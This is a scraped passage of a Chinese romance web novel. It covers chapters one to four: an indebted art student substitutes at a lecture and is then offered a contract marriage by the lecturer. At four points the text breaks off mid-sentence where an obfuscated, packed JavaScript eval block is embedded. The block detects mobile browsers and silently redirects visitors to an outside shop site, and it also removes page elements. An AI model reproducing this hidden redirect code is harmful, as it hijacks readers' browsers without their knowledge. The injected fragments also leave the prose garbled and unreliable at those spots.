《所有人都在劝我离婚》 1. 第 1 章 这事放在谁身上不是开了眼呢！ 入春不久，温度渐渐回暖，谁料几场大雨接连浇下来，好像一下子又打回了原形，宿舍里，常妙武装着前段时间才收进柜子里的冬衣，眼下一抹青黑，趴在椅子上听着秦羽鹭的痛斥。 “想当初，是不是他先追的人！” “是不是他在咱们楼下大张旗鼓地摆蜡烛，摆鲜花，还找了一帮所谓的兄弟在旁边助威起哄，搞了一堆事就为了跟你表白，跟你在一起！” “答应的时候，还记得不？那家伙哭的，一把鼻涕一把泪，比公鸡打鸣还厉害，搞得我还以为是个什么珍稀品种纯情c男呢，结果这才多久啊，一年不到吧？出轨了！！！真他妈服气！” 秦羽鹭满脸无语，白眼几乎要翻上天，她抱着胳膊，深吸了口气，又忍不住说：“而且你知不知道，他这还不是第一次，在这之前还有一个呢，那个女的我和你还见过，偷吃他倒是跑远点啊，恶心人呢这是！” 常妙也不知道怎么说，两天两夜没合眼，她感觉自己魂儿都快飞了。 “那陈想现在怎么样？”她扒在椅子上问。 秦羽鹭：“能怎么样啊，搁宿舍哭呢呗，估计缓过来后边就是个分手。” 陈想和她关系还不错，大一时候还是一个宿舍的，所以说起这事来不免也跟着气愤，灌了口凉水喝下去，秦羽鹭转头瞧着常妙这张嫩生生的小脸，眉头蓦地一皱，“妙妙，你以后也要注意，选男人一定要擦亮眼睛，别看着长相还行就往前冲，不至于，咱不差那一口，实在馋了，你就去搞搞你那些cp，纸片人比真人香多了对不对？” 氤氲的水蒸气熏过常妙的眸子，瞳珠黑葡萄似的又圆又亮，她捧着玻璃杯，撑着椅背坐直身子，声音里有种疲惫下的绵软，她无奈说：“我知道的，你不用担心我，你看我现在哪有心思谈恋爱啊。” 秦羽鹭一噎，“……那倒是。” 这半年多来，一个衣食无忧、啥事不愁的有钱大小姐已经全然被生活磋磨成了一个抠脚女大，脑子里不是搞钱就是攒钱，每天两顿饭，甚至有可能是一顿饭，都是从食堂叫了外卖送过来的，而且距离上一次出门—— 好像还是两周以前导师要看他们毕设进度那短暂的三个小时吧？ 秦羽鹭摇了摇头，不多说了，她也是刚从陈想那回来，一股子闷气想找人发泄，发泄完了，心情便平静多了。 收拾好东西准备去洗个澡，一顿，突然想起来件事，“对了妙，你前段时间攒下的那些单子都画完了吗？” 常妙悠悠回头，指着自己的熊猫眼，抿唇微笑出了一种人生不再有遗憾的满足感。 “……” 好吧，她懂了，秦羽鹭怜爱地拍了拍她的肩膀，“那我这有个小兼职你干不干？” “什么？” 秦羽鹭：“就是替人去听一场讲座，隔壁的南江科大，去一回两百块。” “两百块？！” 常妙顿时觉得人生的遗憾好像又有了，方才的倦容一扫而空，她有些激动地捧住秦羽鹭的手，仿佛仰望神明，眼睛里的光星星一样一闪一闪的，“什么讲座啊羽鹭，去一次给两百！” 外面辛辛苦苦发一天传单也赚不了两百，讲座才几个小时啊呜！ 秦羽鹭被她逗笑，“不是讲座内容的问题，是我那姐们的问题。” “她专业是学电子信息工程的，这玩意咱也搞不懂，但是据她说不是每个人都能读的，她本身对这个也不感兴趣，当时听从家里安排，能考上都不得了了。现在吧，她的目标就是及格就行，毕业就行，多的也不想去做，反正她家那条件，以后工作也不愁。” “至于这个讲座，是他们学院安排的一次本专业必须参加的讲座，听说请的是国内IC行业里挺有名的一家公司里的大佬来给他们讲课，机会不易，所以要求学生严格实行签到制度，按名字落座，一个也不能少。” 常妙若有所思，“又是签名又是按名字落座，是挺麻烦的，但那姑娘是不是给的也有点太多了？” “你还嫌钱多啊！”秦羽鹭抽回手，作势拿起手机要打字，“那我跟她说让她自己找人去——” “不多不多！”常妙忙拦住，抱着秦羽鹭的腰就撒娇，“好姐姐，感谢你给我介绍这份兼职，请你告诉你的小姐妹，我常某人一定会认真！努力！帮她听完这次讲座的！另外需要做笔记吗，我也可以为她服务哦~” 秦羽鹭俯看着常妙眯眼，最后叹气，“行啦，笔记不用，我把她微信推给你，具体时间啥的你俩到时候自己说吧。” “好的好的。”常妙乖乖点头，“羽鹭鹭，作为回报，睡前你要来一杯芝麻糊吗，我给你冲，长头发哟！” 芝麻糊？秦羽鹭想起这家伙最近吃的什么，实在不忍心多占她一顿晚饭，“算了，你喝吧，你多长点，我昨天扫地看你椅子后边掉了不少。” “什么！”常妙脸色一变，立刻转头朝地上望去，她只是说说呀，真的掉的那么厉害吗？ 秦羽鹭趁她松手，抓起衣服三步并两步就往洗手间跑去。 安静下来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977412|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间里，常妙捧着刚捡起来的几根头发，心疼地抹了把泪儿。 - 秦羽鹭介绍给她的女孩子叫做陆依然，加上微信后，陆依然很快给她发来了讲座的时间地点，因为不是一个学校，她还专门问了下常妙知不知道地方。 常妙所在的庆安大学跟南江科大离得很近，可以称得上是邻居，大一那会儿，秦羽鹭和她还进去溜过一圈，所以标志性的几个地点她是知道的。 陆依然：【知道我就放心了，还有件事，那天你得提前来个十分钟，到礼堂对面的教学楼，咱俩碰一面，我还有东西要交给你。】 常妙：【OK，没问题！】 讲座的时间是周二下午两点半，常妙怕自己迟到，特意在两人约定的时间上又提前了二十分钟。 进了学校大门，道路两边的灯杆子上整整齐齐装饰了两列广告牌，看得出校方确实挺重视这次活动的，常妙原以为中间自己可能会绕绕路什么的，结果顺着广告牌很顺利地就到了教学楼。 对面的大礼堂外人员稀松，估计太早了，学生都没来，常妙觉得也没必要这么早跟陆依然说自己到了，索性就在旁边的花坛找了个地方坐下，头顶有树，也不晒。 闲着没事，她又趁着这空档去各个平台翻了翻，想看看还有没有人找她画图，她现在主要接商稿，但空的时候画点私稿也是钱呐！ 给几个私信询价的人回了价格，常妙看到手机顶部突然弹出来个窗口。 张东立：【常妙，你真的不考虑考虑来我们公司？机会难得啊。】 常妙神色一顿。 大四了，身边的同学要么就专心做毕设，要么就出去找了实习，她原本也看好了一家公司，就在梧溪本市，做女性类游戏很出名，她自己也玩过，感觉很不错，美术设计算行业内排名前列的。只不过当初面试通过后，她发现跟自己现在的情况太不相符。 不说实习期每个月要去够天数，她的毕设还没做完，主要实习期的薪资太少了，加班多还没加班费，根本支撑不了她现在的支出。 当时面试她的HR后面联系过她一回，但被她婉拒了，这次…… 常妙没有多犹豫：【不好意思啊张哥，很感谢贵公司对我的青睐，但确实目前我这边的情况不大合适，希望您能找到更加合适的人选。爱心/】 回复完后，常妙关掉手机，长吁了一口气。 哎，生活可真难呐。 “你难什么？” 略带嘲讽的语气，清淡如水，却带着几分真诚的发问。 2. 第 2 章 不知道哪冒出来的声音把常妙吓了一跳。 只是心里抱怨一下，老天爷用不着这么怼她吧？ 常妙紧张地抱着帆布包左看右看，突然，余光扫到身后，发现居然有个男人坐在那里。 正诧异，她听到那个声音冷冷清清地又说：“相亲又不是坏事，你这年纪也该结婚了。” 又过了会儿—— “呵，我古板？” “那你以后再有这事别叫我，也不是我想去。” 相亲？什么年纪就相亲啦？ 常妙听得新奇，她所在的这个花坛是个三角形，那个人虽说跟她隔了一片灌木丛，但实际距离不远，他说什么她都能听见，就连看……也能看个大概。 男人坐着，分辨不清多高，但是身材清瘦，白色衬衣外面是一件宽松的黑色廓形皮衣，没有刻板印象中的那些叮呤咣啷的链条装饰，看着还挺正经。 他双肘在膝盖上撑着，脊背将皮衣顶起，隐约绷出了两侧紧实的腰线，耳廓淡红，微薄，没有赘余的肉感，干净清爽，像在阳光下看玉，少见的漂亮，耳根处似乎还架着根镜腿，银色的，藏在蓬松的黑发里若隐若现。 至此，常妙的目光不由地在他的耳朵上驻足下来，她艺考集训时画头像，最烦画的就是耳朵，它不像别的五官，线条走哪里，去哪里，很明确，拐来拐去跟个迷宫似的，怎么都画不对。 当时因为这个她被老师说了不少回，还特意让她每天坚持加练两张，时间久了，也不知道怎么，她反而对耳朵这种器官产生了种莫名的……嗯。 只可惜这么多年，除了猪耳朵狗耳朵猫耳朵，她再没见过这么漂亮的了。 常妙兀自瞎想着，指尖在手机壳边沿扣扣，考虑要不要偷拍一张当做素材，毕竟机会少有…… 嗯，虽然无耻，但是心动！ 常妙决定下的迅速，立即低头打开手机，然而就在这时，迎面突然冲过来什么东西，常妙只觉得眼前一抹亮色晃过，一个人就站在了自己面前。 “你就是常妙吧？” 常妙怔怔抬头，手机下意识往衣服里藏了藏，“你，你是那个……” “对，羽鹭姐介绍的那个女生。” 陆依然顶着一头靓丽的绿毛冲常妙打了个招呼。 常妙不可避免地注意到她的发色，其实在艺术院校，大家染头发还挺常见的，尤其是这种彩毛，她见过的人里组成一支七仙女队伍都没问题，但是在理工科院校，就有点算是稀奇事了。 陆依然丝毫不介意常妙的目光，她手里拎着个大袋子，直接了当地说：“来吧，咱们开始吧！” “开始什么？” 陆依然从袋子里拿出一顶粉色的假发，用手简单梳了梳，微笑看向她，“戴、假、发！” 常妙……常妙没有拒绝的理由，但常妙很想问问为什么。 “当然是防止你被发现啊。”陆依然一边帮她把自己的头发梳起来，一边说，“怪我太亮眼，吸引了太多目光，我们系主任已经认识我了，今天他也去那个讲座，所以我要找人替我的话，肯定也要打扮一下的。” 连系主任都认识了吗！ 常妙突然对自己今天的任务感受到了一份艰巨，她甚至想力求完美，主动提出异议。 “那你为什么不也给我戴个绿的？” 陆依然笑了声，“我这发色经常换，没事，上次见他还是黄色呢。” “来，转一下，站起来，我给你后边打理一下。” “哦。” 常妙没弄过这东西，动作上不免有点局促，好在陆依然熟练，就差最后一点了。 她按陆依然说的背对她站好，轻吸了口气放松，然而一抬头。 常妙整个人顿住。 那个耳朵很好看的男人正蹙眉盯着她…… 救命！！！ 他什么时候转过来的？！ 偏偏身后陆依然还在包里找梳子，没弄完，她跑不了。 一方面，是对那个男人的好奇，另一方面，是自己当他面戴假发很尴尬，常妙有些承受不起这种心理压力，脸一下红了个彻底。 他右手仍旧举着手机靠在耳边，露出一截冷白的腕骨，也不知道什么电话打这么久。 高挺的鼻梁上架着一副银色细边的半框镜，很斯文，长眉轻压着，不凶，是一种冷淡、端正的正经人的感觉。 头顶蓦然有什么滑落，常妙没反应过来，倒是身后的陆依然及时在肩膀处给她卡了下，重新盖了上去。 此时，常妙看到镜下的那双严肃的长眸微眯，说不上来是什么意思，但她感觉周遭的空气已经有了微妙的变化。 快要，窒息了！ 常妙见过小视频上别人假发带一半的样子，到了这里，再不敢盯着人家看下去，幸好陆依然扳着她的肩膀及时给她转了回去，梳子给她梳了两下刘海说：“行了，再把这个棒球帽带上，还有口罩。” 常妙僵硬地任由对方操作，紧咬住牙关不让自己在帅哥面前哭出声。 陆依然只以为她是不习惯，于是自顾欣赏了会儿自己的杰作，常妙属于那种标准的甜妹长相，眼睛大大的，脸颊肉肉的，皮肤细腻，笑起来特别好看，粉色的头发虽说有些另类了，但是放在她身上还挺衬肤色的。 她把剩下的东西装进袋子里，提在手里说：“时间不早了，那你一会儿就直接去吧，我跟人还有约，就先走了啊。” “欸！” 这人风风火火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977413|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，来得快，走的也快，常妙来不及继续忧伤，忙朝她喊：“那你这个头发我怎么还你啊！” 陆依然：“你回去给羽鹭姐，她下回给我带过来就行，还有那个钱，等讲座结束了转你哦。” 常妙望着她的背影，很快拐进岔道没了踪影，她看了眼手机，离讲座开始就剩十五分钟了，常妙不再耽误，转头去花坛石台上拿包，准备朝礼堂方向走，然而这一回身，她冷不防又看见了那个男人。 他也站了起来。 很高，常妙得仰头看他。 但其实常妙不该愣在这的，只是男人正好也往出走，挡在了她的正前方，常妙不得不停下，因此，也就顺带又听见他说了一句话。 “有事，没时间听你发牢骚了。还有，该还我钱了。” “上周末，咖啡店，52。” 男人挂掉电话，睫毛轻敛，似是察觉到旁边的视线，侧眸朝常妙看过来，常妙身子一个激灵，赶在对视前，按住头顶假发，拔腿就跑。 过了马路，再从马路对面跑回来，以一个优雅的半弧形完美绕过男人，直冲大礼堂！ 只是很遗憾，由于规定每个人都要签到，礼堂前面已经排起了长队，常妙站到了最后一个，好不容易轮到她签完字进去，偌大的场地，几乎坐满了人，浅粉色的头发好似有着某种致命的吸引力，常妙越往下走，脚步越重，不止是在座的同学，台上的几个老师也时不时地朝她释放出压力。 这一刻，常妙好像终于明白了陆依然为什么舍得掏两百块钱找人了，但凡心理素质差点，根本走不到这来啊。 常妙看着第一排贴着陆依然名字的座位，深吸了口气，端正臀部，沉沉坐了下去。 很快，台上的主持人开始讲话，介绍来宾，冗长的一串过往成就夹杂着专业术语，常妙实在听不懂，还是坐在她旁边的陆依然舍友看见她试图理解的模样小声解释了两句。 “这个陆合科技，简单来说就是咱们国内专研芯片的一家公司，成立时间不算特别久，但在行业内特别有名，技术水平和研发实力超一流，现在在海外也设立了好几个研究机构，而且你懂，这种搞研发的，能进去工作的一定都是智商超标的大佬。” 看见女生偷偷给自己比的大拇指，常妙心里不禁也肃然起敬了起来。 主持人说到重点，声音不由放大，“……下面，就让我们热烈欢迎我们的学长，梁嵛，重返母校！！” 掌声瞬间震动全场，常妙慢半拍地也赶紧捧场啪啪啪拍起了手。 随着主持人礼貌伸手示意位置，某个衣着过分眼熟的男人迈着两条大长腿站上了讲台，等待学生切出PPT的时间里，常妙咬住唇，在那道淡淡斜睨的视线下沉默拉下了帽檐…… 3. 第 3 章 事情已经过去了一周，但常妙三五不时地还是会冒出一点惨痛的回忆，怎么作案过程就叫他看见了，怎么那么巧他就是来讲座的人，怎么他偏偏就非要看她那一眼！ 要不是常妙不是隔壁学校的，她现在已经连门都没脸出了。 “还纠结呢？” 秦羽鹭洗完澡出来，看见常妙坐在电脑前一动不动的，就知道她又开始了。 常妙听见声，转过来一张苦巴巴的小脸，“没办法呀，太尴尬了，我真的长得这么大就没遇见过这么尴尬的事！” “可是你们以后又不会见面。” 秦羽鹭点出关键，“你想啊，你们既不是一个学校，也不是一个专业，他还早就毕业了，哪哪都不通，如果不是这回你去帮依然听了次讲座，你们这辈子扯上关系再见面的概率有多少？” 常妙眨了下眼，若有所思点头，“你说的有道理。” 秦羽鹭：“当然有道理！所以你说说，这跟你在马路上放了一个屁有什么区别。” 常妙被逗笑，“你这形容……” “贴切？” “嗯，贴切哈哈哈。” 秦羽鹭吹干头发，开始摆弄自己的瓶瓶罐罐，镜子一角映出身后的画面，常妙还在画画。 她挤出一泵粉底液，“妙妙，晚上班长生日，你不去吗？” “啊？”常妙手下一顿，画板上因失误出现一条长长的直线，她忙按键撤退，然后顿了顿才用活泼的语气说，“不去了吧，我最近经济紧张，稿费还得过两天才能下来呢，可没钱给他买礼物。” “本来就不用给他买，李知行那人你又不是不知道，就是喜欢热闹才组的局，你看这三年去的人不都是冲着一块玩儿才去的，哪像你每次去还特地选个礼物。” 秦羽鹭说完，见常妙没什么反应，又劝说：“走吧，你这段时间一直画稿都不出门也该放松一下了，而且赵姐和咱们也好久没见了，今天她也去，正好见个面。” 赵姐是她们的舍友，还有一个叫做李茜熙的女孩，只不过她们一个实习在外面租房子不常回来，一个搬出去和男朋友一起住了，现在很少机会能碰面。 常妙至此也不好再推脱，“好吧，那我也收拾收拾。” 李知行找的这家KTV离庆大不远，常妙和秦羽鹭过去的时候包厢里一群人已经嗨的不行，喝酒的喝酒，唱歌的唱歌，李知行看见她们俩进来，忙招呼着坐下，“坐坐坐，先玩着，晚会儿咱们一起吃蛋糕。” 这里几乎都是同班的同学，但鉴于自己是头一回在这种场合没带礼物，常妙感觉自己像来吃白食的，进来后直奔角落降低存在感，秦羽鹭拿她没办法，直到赵婕来了几个人聊起天才好了些。 可能是好久没见着好友能说话了，赵婕声情并茂地恨不得把在公司的每一天都事无巨细地给俩人讲一遍，“……这人啊，走上社会就是见证物种多样性的时候。你说说，她自己流程没看清楚，反过来先把我教训一顿，仗着自己比我长一辈是吧，真是要不要脸呢！” “不要脸不要脸，来，咱先干一杯！”秦羽鹭举杯。 赵婕跟她碰了杯可乐，她明天上午有事请假了，但下午还得去上班，想喝酒也喝不成。 “对了，妙，你能帮我件事吗？”她突然想起来。 常妙正小口吃着爆米花，“什么？” 赵婕：“我有个快递写错地址了，明天下午到，你能帮我取下吗？我这周末回来拿走。” “可以啊。”常妙答应，“你到时候给我发取货码就行。” 赵婕抱抱她，“谢谢谢谢，我就知道你最好了。” “欸，你说什么呢，光夸常妙，难道我不好吗！”秦羽鹭听见，转过头跟她闹起来，两人你一句我一句的，看得常妙忍不住也跟着乐。 突然，口袋里手机震动，常妙看了眼来电显示，目光微顿。 她拍了拍身边赵婕的肩膀，打声招呼，然后拿着手机快步走到包厢外接起电话。 “喂，妈妈，听得见吗？” 常妙一边说一边往安全通道的方向走，方沉兰的声音逐渐清晰，她一向说话慢，放到听筒里就更显得温和，“听得见，是出去和同学玩了吗？” “嗯，我们班长今天过生日，和舍友来凑个热闹，晚一会儿就回宿舍了。” 方沉兰这方面对她管的松，从小表现出来的态度就是希望她多跟朋友出去玩一玩，只要保证安全，别太晚回家就行，所以此时常妙坦白也没有什么太大的负担。 方沉兰那边嗫嚅着应了一声，有一秒的沉默，她很快又笑了下说：“行，那既然同学过生日，你们就好好玩，晚上回去注意安全，我就先挂……” “妈。”常妙叫住她，“怎么了，是家里出什么事了吗？” 被女儿这么一问，方沉兰有些没忍住，再说话时鼻音浓重，“妙妙，你舅舅那边又被催欠款了。” 常妙脸色微变，她往楼梯间深处又走了些，“怎么会，咱们这个月不是才打过去一批钱吗？” 方沉兰：“是，但是人家说急需资金周转，不能再拖了，这周必须把钱给他们还上。” “老张那人你也知道，他原来跟你外公合作的时候还算好说话，但是到你舅舅这……哎。” 常妙捏紧手机，沉下一口气问：“那他们要多少？” “二十万。” 方沉兰语气无措，“妙妙，你说怎么办啊，咱们现在哪来的那么多钱，原本分期还就已经够难了，怎么可能这么短时间拿出来这么多钱！” 常妙一时间也有些沉默，但她现在不能也慌了，“妈妈你先别急，咱们先有多少拿多少。我这周稿费可以下来，能凑个两万差不多，你和舅舅再把手头有的合算合算，剩下的我想办法。” “你想办法？妙妙，这可是二十万呐，你还在上学，从哪搞这么多钱来，实在不行妈就再去求求以前的那些朋友……”方沉兰说到这里，突然一阵呛咳起来。 常妙鞭长莫及，隔着电话想让方沉兰去倒杯热水顺一顺嗓子，但是对面的咳嗽声好像完全没有停下来的意思，从喉咙扯着肺部，一声声的，听的人心里很难受。 好一会儿，咳声终于停歇，方沉兰那边却有人在喊：“12床，你怎么跑这来了，快回床上去。” 常妙一愣，急问：“妈妈，你住院了？” 方沉兰没吭声，家里都这情况了，她也不想再给孩子添麻烦，可她不吭声，常妙就更着急，如果只是钱的问题，她可以坚持，但家人一定不能再出事！ “你实话告诉我你到底生什么病了，不然我现在就回去。”常妙不得不硬起脾气逼迫道。 方沉兰：“没事，妈真的没事，就是肺部有点感染，医生说住两天就能出院了，你不用担心。” 常妙：“真的？” 方沉兰保证，“真的，我病历上都写着呢。” 常妙心下稍安，但口气不松，“好，那你明天有空给我把病历拍照发过来，我这周末回家看你。” …… 通话结束，常妙在楼梯间静静待了会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977414|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，头顶的声控灯已灭，黑暗本应带来恐惧，可是她一个人处在这样的环境里，光线和噪音被厚重的铁门隔离在外，难得有了一种逃离掉现实的感觉。 在她21岁之前，家庭生活安稳富裕，爸爸虽然很早就离世了，但外公、舅舅、妈妈一直都对她很好，物质上不缺，精神上的爱意更不少，可以说，常妙有很长一段时间都觉得，自己就是这世界上最幸福的人。 但事实上，老天爷是公平的，人的苦难是既定的，没有人会一直幸运，外公在她大二那年病逝后，舅舅接管了家里的公司。 舅舅方程南为人踏实，但在做生意上确实没什么天分，开始靠着外公留下来的基业还能撑着，但很快就被人骗了，公司一垮再垮，像座将倾的高楼，一夜之间轰然就剩下一堆废墟。 这半年多来，他们把能卖的都卖了，租了间两室一厅的房子住着，舅舅找了份快递员的工作，妈妈原本也想帮忙，但不得不说，外公在世的时候真的太宠家里的女孩子了。 妈妈当初大学毕业后就没有工作过，时隔这么多年，以前学的那些东西早忘得差不多了，想去做体力活打扫个卫生刷刷盘子，那双从没做过粗活的手根本就受不了那样的摧残，没两天就搞得通红发肿。 方程南哪里见过姐姐这副模样，看她偷偷在屋里抹眼泪，直接推门进去叫她别干了，还不如自己多跑几个单。 可所有人都清楚，他再多跑几单又能有多少钱，光靠他和常妙的稿费一个月下来还完欠款根本不够，所以方沉兰最后也只是放弃了刷盘子，托人艰难地找了份钢琴老师的工作，临时工性质，工资不高，至少保证了三人的生活费。 而到了今天，如果没有这个意外，他们原本还算能平稳地慢慢度过这个坎的。 可现在…… 常妙从楼梯间出来，她还来着例假，不知道是不是受情绪影响，小腹一阵阵的坠痛明显，手机屏这时闪了下，是秦羽鹭发了消息催她快点回去，李知行准备切蛋糕了。 常妙去洗手间换了个卫生巾，出来后，往包厢的方向走着，然而脚下却沉重得像灌了铅。 望着无人的走廊尽头，她索性停下，靠在墙上抱着膝盖蹲下来，给自己了一个平复心绪的时间。 二十万呐，她确实不知道该怎么办了。 家里现在的情况每个月根本存不下钱，自己这边两万，舅舅那边保守估计就算是五千，妈妈那边是生活费动不了，这么加起来杯水车薪，离二十万还差得远呢，更何况除了这一家，还有别家要还。 常妙深吸了口气，继续思索着。 当初没有选择实习而是自主接单就是为了多挣些钱，现在也不可能去向公司预支什么薪水，要是向亲戚朋友借——该借的能借的早在公司倒闭之初就借过了。 羽鹭…… 这个念头一起就被常妙摇头甩掉了，羽鹭家庭情况是还可以，但是也不能一下借她那么多钱吧，而且不到万不得已，她真的不想向朋友借钱。 无关面子，只是担心这份友谊会在现实的催化下变了质。 提出，否决，再提出，再否决，常妙头痛得厉害，眼眶一瞬间涌上热意，她吸了下鼻子，又使劲将那份蠢蠢欲动的软弱压了下去。 会有办法解决的，不能哭！ 常妙想起什么，从衣服口袋里掏出一张皱巴巴的小纸条，纸条背后有胶，撕下来的时候并不完整，但上面的关键信息却一个没落。 常妙盯着纸条上的二维码，指甲掐进皮肉。 要不，试试这个？ 4. 第 4 章 念头一起，常妙的脑子里不可避免地疯狂冒出了很多想法。 对于现在的她而言，只要肯冒这个险，那这个难关肯定能过，至于之后要承担的……常妙觉得，她可以先去问问，了解一下情况，总归是一个办法！ 常妙为自己即将进行胆大举动紧张地吞咽了下，她摸出手机准备扫码，注意力一散，余光突然发现自己面前不知道什么时候站了一个人。 黑色的长裤宽松地包裹着他的两条长腿占据了大部分的面积，天花板上的顶光模糊了他的轮廓透出右耳的粉色来。 常妙意识回拢，看着眼前的男人愣住了。 怎么是他？ 梁嵛低着眸，视线在常妙的眼尾淡淡扫了一眼，又转移到她手里捏着的纸条上。 他侧了下头，俯身伸出两指抽走纸条，反过来看了看。 “你很缺钱？” 他问。 由于各种前因，再加上梁嵛此刻的表情真的有点严肃，常妙抿紧唇线，不禁向后贴近墙壁，有些无措。 她记得他的名字，可是考虑到他的身份以及两人的关系，常妙还是斟酌出了一个比较合适的称呼。 “梁、梁先生，你怎么在这？” “同学聚会。” 似是意外梁嵛真的回答了她，常妙一时哽住，居然有点不知道接下来该说什么，反观梁嵛，看她的时候皱着眉头好像有什么不满，搞得常妙顶着他的视线就很想就地挖调地道赶紧跑。 梁嵛：“可以起来说话吗？” 常妙：“嗯？” 梁嵛：“我脖子疼。” “哦好好！” 大哥发话，她哪敢不从，常妙飞快起身站好，两手规矩放在腿侧，跟站军姿一样。 梁嵛打量着她的站姿，没说什么，只是又问了一遍刚才的问题，“你很缺钱吗？” 常妙张了张嘴，良久，轻轻点头。 梁嵛：“为什么？” 常妙莫名看他一眼，不懂他对她这个陌生人有什么好奇的，不过顿了顿，还是答了。 “家里欠钱，债主急着要钱。” 梁嵛嗯了声，又问：“总共欠了多少？” 常妙：“……总共有很多，但现在还剩四五十万吧。” 可能是为了证明什么，她很快又补充，“我们有努力在还的，原本跟他们说好的，每个月定期打款，我们没有拖延过，但是有一个人突然说自己继续资金周转，要马上还清二十万，所以……” 身高的差距，梁嵛站在她面前挡住了大部分的光，以至于常妙不是很能看得清男人的神色，几秒的寂静中，她猛然意识到什么，身子迅速冷却下来，对方才的解释有些懊恼。 人家不过多问了一句，她怎么还认真了！ 想找借口离开时，出乎意料的，她听见那个端正的声音又说：“那，跟我结婚，我帮你怎么样？” 语气里的自然，仿佛在说今天的天气如何一般。 常妙茫然抬头，以为自己听错了，她瞪大眼睛呆呆望着梁嵛，却发现他表情很正经，甚至眼神中还带着淡淡的一丝询问，完全不是开玩笑的意思！ 常妙哪里经历过这种情况，脑袋搅成了浆糊，语言系统彻底关闭。 “怎么了？” 梁嵛居然还问。 怎么了，你说怎么了！谁家好人才见一面就问要不要结婚啊！ 而且还是，交易婚姻？？？ 常妙觉得自己头更疼了，她努力组织语言道：“梁先生，我能问问为什么吗，我们也才见过一面吧？” 梁嵛目光幽深地看了她一眼，随后敛眉，淡声说：“到年纪了，该结婚了。” “啊？”常妙再次呆住，“……你多大呀？” “二十八。” 二十八也还行吧，不至于急到见着个女的就谈结婚吧？ 常妙表情复杂，“梁先生，您履历优秀，工作又好，应该不愁找不到女朋友吧？” 梁嵛坦荡说：“愁。”迟疑了下，“相过亲，三回，没成功。” 常妙：“。” 说实话，梁嵛这句话，常妙是不大信的，正如她刚才所说，名牌大学毕业的硕士，还一毕业就进了陆合科技这样的大公司，长相……自然也是不错，至少还挺在她审美点上的，除了性格好像有点过于正经，不爱笑，其他方面完全没问题啊！ 所以这样的人怎么可能找不到女朋友！ 啊。 难道说，是身体上……？ 梁嵛不知道常妙所想，只是见她不答复，便尝试着推销了下自己，“房子、车、存款，都有，你不考虑一下吗？” 常妙：“嗯……” 梁嵛：“家里就我一个，身体健康，也不用侍奉公婆，你不考虑一下？” 常妙：“那个……” 好吧，梁嵛愈发严肃起来，“我领导说我未来挺有发展前景的，将来必成大器，你不考虑一下？” 常妙眼角一抽，忍不住了，“梁先生，不是这些问题！主要是，咱们才见过一面啊，一面！我不觉得我们就能到结婚这一步。” 在常妙的认知里，结婚那是有感情基础的人才会去做的事，怎么也不可能是他们现在这样，所以本能上，常妙不用考虑就想拒绝了。 “可是我能提供你现在最需要的。”梁嵛说，“还是说，你真的想选择这个？” 常妙一下没了声，她盯着面前的小纸条，瞳孔颤动。 修剪整齐的指甲压在末端最刺眼的那个字上，仿佛在着重提醒着那是什么，电视上这类新闻太多了，常妙看过不少，也正是因为如此，她反驳不出什么强有力的话。 可是，难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977415|136973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要为了钱跟一个陌生人结婚吗？ 大概是从小家里边就很和谐，所以她一直对婚姻挺期待的，她喜欢那种两个人逐渐构建起的亲密关系，尤其在结婚后，两人更进一步，彼此都因为对方变得更加完整，信任着，互相扶持着一起走完一生是她认为特别美好的一件事。 她从来没想过自己会遇见一个男人这么突兀地跟她提出结婚，如果答应了，未来的生活不用想，一定过得很奇怪，而且万一他对她不好怎么办？ 可如果不答应，现在又该怎么办？ 二十万，他们无论如何也凑不到的。 两人无声僵持着，梁嵛低眸望着女孩为难的样子，喉咙微动，他启唇正欲说什么，常妙却突然抬头问他：“那我们换一种交易方法可以吗？” “什么？”梁嵛没明白。 常妙：“结婚的事情我可以答应，但同时我有个条件希望你能答应，不然这件事就算了。” 梁嵛：“你说。” 常妙吞咽了下，一双杏眸犹犹豫豫的，却又好像已经做下了什么决定，克制着自己镇定，“我希望，这份婚姻关系是有限期的。” 